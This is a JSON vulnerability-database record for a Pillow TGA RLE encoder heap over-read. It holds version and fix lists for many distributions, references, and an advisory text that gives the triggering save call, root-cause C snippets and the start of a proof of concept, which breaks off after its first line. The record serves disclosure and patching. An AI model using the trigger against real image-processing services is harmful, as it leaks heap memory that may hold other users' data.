{"id":"CVE-2026-59198","aliases":["BIT-pillow-2026-59198","CLSA-2026-1786468070","CLSA-2026-1790674233","CLSA-2026-1790685259","CLSA-2026-1790747347","CLSA-2026-1790751826","CLSA-2026-1790754735","DEBIAN-CVE-2026-59198","EUVD-2026-43752","GHSA-fj7v-r99m-22gq","MGASA-2026-0463","OESA-2026-3141","OESA-2026-3185","OESA-2026-3187","OESA-2026-3188","OESA-2026-3189","PYSEC-2026-3494","ROOT-APP-PYPI-CVE-2026-59198","SUSE-SU-2026:23217-1","SUSE-SU-2026:23228-1","SUSE-SU-2026:3084-1","SUSE-SU-2026:3268-1","UBUNTU-CVE-2026-59198","USN-8690-1","openSUSE-SU-2026:11283-1","openSUSE-SU-2026:21544-1"],"status":"published","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00313,"percentile":0.24491,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125"],"published":"2026-07-14T16:07:56Z","modified":"2026-11-06T11:15:04Z","fixes":[{"ecosystem":"PyPI","package":"pillow","fixed_in":["12.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"pillow","fixed_in":["12.3.0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"pillow","fixed_in":["12.3.0-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"pillow","fixed_in":["11.1.0+aikido.9","9.5.0+aikido.9","12.1.0+aikido.11","9.5.0+aikido.10","11.1.0+aikido.10","10.4.0+aikido.10","9.5.0+aikido.11","12.2.0+aikido.5","9.3.0+aikido.13","10.4.0+aikido.11","12.1.0+aikido.12","11.2.1+aikido.6","11.1.0+aikido.11","10.3.0+aikido.13","11.0.0+aikido.10","11.2.1+aikido.7","9.3.0+aikido.14","11.1.0+aikido.12","9.5.0+aikido.12","12.2.0+aikido.6","10.4.0+aikido.12","9.3.0+aikido.15","11.1.0+aikido.13","12.1.0+aikido.13","10.3.0+aikido.14","11.0.0+aikido.11","9.3.0+aikido.16","10.3.0+aikido.15","10.4.0+aikido.13","9.3.0+aikido.17","9.5.0+aikido.13","11.2.1+aikido.8","11.0.0+aikido.12","11.1.0+aikido.14","12.1.0+aikido.14","12.2.0+aikido.7","10.3.0+aikido.16","10.4.0+aikido.14","11.1.0+aikido.15","11.2.1+aikido.9","12.2.0+aikido.8","10.4.0+aikido.15","12.1.0+aikido.15","10.3.0+aikido.17","11.0.0+aikido.13","9.5.0+aikido.14","10.4.0+aikido.16","10.3.0+aikido.18","10.3.0+aikido.19","10.4.0+aikido.17","10.3.0+aikido.20","11.0.0+aikido.14","12.2.0+aikido.9","9.5.0+aikido.15","9.5.0+aikido.16","9.5.0+aikido.17","9.5.0+aikido.18","9.5.0+aikido.19","10.4.0+aikido.18"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","fixed_in":["7.0.0-4ubuntu0.9+esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"pillow","fixed_in":["9.0.1-1ubuntu0.5"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"pillow","fixed_in":["10.2.0-1ubuntu1.3"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"pillow","fixed_in":["12.1.1-2ubuntu1.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"5.2.0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1"},{"fixed":"11.2.1.post3+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"11.3.0.post5+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare"],"bundled":14},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0"},{"fixed":"10.4.0.post10+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare","10.4.0.post6+tuxcare","10.4.0.post7+tuxcare","10.4.0.post8+tuxcare","10.4.0.post9+tuxcare"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0"},{"fixed":"9.5.0.post8+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare","9.5.0.post4+tuxcare","9.5.0.post5+tuxcare","9.5.0.post6+tuxcare","9.5.0.post7+tuxcare"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.0.post9+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare","9.4.0.post6+tuxcare","9.4.0.post7+tuxcare","9.4.0.post8+tuxcare"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0"},{"fixed":"8.4.0.post8+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare","8.4.0.post4+tuxcare","8.4.0.post5+tuxcare","8.4.0.post6+tuxcare","8.4.0.post7+tuxcare"],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.3.0-1","10.3.0-2","10.4.0-1","10.4.0-1.1","11.1.0-1","11.1.0-2","11.1.0-3","11.1.0-4","11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1","9.4.0-1.1","9.4.0-1.1+deb12u1","9.5.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.1.0-5+deb13u1","11.1.0-5+deb13u2","11.1.0-5+deb13u3","11.1.0-5+deb13u4","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0-1"}]}],"versions":["11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"12.3.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"Mageia:10","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0-1.mga10"}]}],"bundled":11},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0-8.oe2403sp4"}]}],"bundled":6},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0-13.oe2403sp3"}]}],"bundled":5},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-16.oe2003sp4"}]}],"bundled":4},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-16.oe2203sp4"}]}],"bundled":4},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0-13.oe2403sp1"}]}],"bundled":5},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"12.3.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"Root:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.1.0+aikido.9"},{"fixed":"9.5.0+aikido.9"},{"fixed":"12.1.0+aikido.11"},{"fixed":"9.5.0+aikido.10"},{"fixed":"11.1.0+aikido.10"},{"fixed":"10.4.0+aikido.10"},{"fixed":"9.5.0+aikido.11"},{"fixed":"12.2.0+aikido.5"},{"fixed":"9.3.0+aikido.13"},{"fixed":"10.4.0+aikido.11"},{"fixed":"12.1.0+aikido.12"},{"fixed":"11.2.1+aikido.6"},{"fixed":"11.1.0+aikido.11"},{"fixed":"10.3.0+aikido.13"},{"fixed":"11.0.0+aikido.10"},{"fixed":"11.2.1+aikido.7"},{"fixed":"9.3.0+aikido.14"},{"fixed":"11.1.0+aikido.12"},{"fixed":"9.5.0+aikido.12"},{"fixed":"12.2.0+aikido.6"},{"fixed":"10.4.0+aikido.12"},{"fixed":"9.3.0+aikido.15"},{"fixed":"11.1.0+aikido.13"},{"fixed":"12.1.0+aikido.13"},{"fixed":"10.3.0+aikido.14"},{"fixed":"11.0.0+aikido.11"},{"fixed":"9.3.0+aikido.16"},{"fixed":"10.3.0+aikido.15"},{"fixed":"10.4.0+aikido.13"},{"fixed":"9.3.0+aikido.17"},{"fixed":"9.5.0+aikido.13"},{"fixed":"11.2.1+aikido.8"},{"fixed":"11.0.0+aikido.12"},{"fixed":"11.1.0+aikido.14"},{"fixed":"12.1.0+aikido.14"},{"fixed":"12.2.0+aikido.7"},{"fixed":"10.3.0+aikido.16"},{"fixed":"10.4.0+aikido.14"},{"fixed":"11.1.0+aikido.15"},{"fixed":"11.2.1+aikido.9"},{"fixed":"12.2.0+aikido.8"},{"fixed":"10.4.0+aikido.15"},{"fixed":"12.1.0+aikido.15"},{"fixed":"10.3.0+aikido.17"},{"fixed":"11.0.0+aikido.13"},{"fixed":"9.5.0+aikido.14"},{"fixed":"10.4.0+aikido.16"},{"fixed":"10.3.0+aikido.18"},{"fixed":"10.3.0+aikido.19"},{"fixed":"10.4.0+aikido.17"},{"fixed":"10.3.0+aikido.20"},{"fixed":"11.0.0+aikido.14"},{"fixed":"12.2.0+aikido.9"},{"fixed":"9.5.0+aikido.15"},{"fixed":"9.5.0+aikido.16"},{"fixed":"9.5.0+aikido.17"},{"fixed":"9.5.0+aikido.18"},{"fixed":"9.5.0+aikido.19"},{"fixed":"10.4.0+aikido.18"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.8.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.8.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.8.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.8.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.0-150300.3.30.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.5.0-150400.5.25.1"}]}],"bundled":11},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.0-4ubuntu0.9+esm1"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow-python2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1-3~build1","6.2.1-3","6.2.1-3ubuntu0.1~esm1","6.2.1-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-1ubuntu0.5"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.2.0-1ubuntu1.3"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.1.1-2ubuntu1.3"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.0-4ubuntu0.9+esm1"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-1ubuntu0.5"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.2.0-1ubuntu1.3"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.1.1-2ubuntu1.3"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0-2.1"}]}],"bundled":6},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.8.1"}]}],"bundled":7}],"products":[{"vendor":"python","product":"pillow"},{"vendor":"python-pillow","product":"pillow"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/python-pillow/Pillow/pull/9709","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","tags":["x_refsource_MISC","Release Notes","article","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59198","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-fj7v-r99m-22gq","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59198.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59198","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0463.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=35909","tags":["report"]},{"url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","tags":["web"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3141","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54059","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54060","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55379","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55380","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59204","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3185","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54058","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59199","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59205","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3187","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3188","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3189","tags":["advisory"]},{"url":"https://pypi.org/project/pillow","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623217-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271418","tags":["report"]},{"url":"https://bugzilla.suse.com/1271419","tags":["report"]},{"url":"https://bugzilla.suse.com/1271420","tags":["report"]},{"url":"https://bugzilla.suse.com/1271421","tags":["report"]},{"url":"https://bugzilla.suse.com/1271422","tags":["report"]},{"url":"https://bugzilla.suse.com/1271424","tags":["report"]},{"url":"https://bugzilla.suse.com/1271425","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54058","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59197","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59198","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59199","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59200","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59205","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623228-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263084-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263268-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1270409","tags":["report"]},{"url":"https://bugzilla.suse.com/1270410","tags":["report"]},{"url":"https://bugzilla.suse.com/1270411","tags":["report"]},{"url":"https://bugzilla.suse.com/1270412","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54059","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54060","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55379","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55380","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-59198","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59198","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8690-1","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-59198","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:07:56.562Z","modified":"2026-07-14T19:55:56.38Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-43752","description":"Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:07:56Z","modified":"2026-07-14T19:55:56Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T18:19:58.805605Z"}],"ghsa":[{"id":"GHSA-fj7v-r99m-22gq","title":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","description":"### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk:     65535 bytes\nmaximum OOB window per row:   57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nFor mode `\"1\"`, `state-\u003ebits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state-\u003ebits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n    buf += x * bytesPerPixel;\n    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n    dst, state-\u003ebuffer + (state-\u003ex * bytesPerPixel - state-\u003ecount), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom 